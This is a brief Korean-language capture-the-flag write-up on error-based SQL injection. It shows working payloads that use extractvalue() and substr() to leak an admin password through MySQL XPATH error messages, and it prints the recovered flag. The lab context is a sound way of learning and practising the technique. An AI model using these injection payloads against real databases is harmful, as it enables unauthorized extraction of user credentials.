error based sql injection

' union select * from user이라고 가볍게 적어봄 

에러 뜸 

아 맞다 error based 랬지 

 

' union select extractvalue(1,concat(0x3a, (select upw from user where uid='admin'))); -- -

(1105, "XPATH syntax error: ':DH{c3968c78840750168774ad951...'")

 

' union select extractvalue(1,concat(0x3a,(select substr(upw,20,50) from user where uid = 'admin'))); -- -

(1105, "XPATH syntax error: ':8774ad951fc98bf788563c4d}'")

 

DH{c3968c78840750168774ad951fc98bf788563c4d}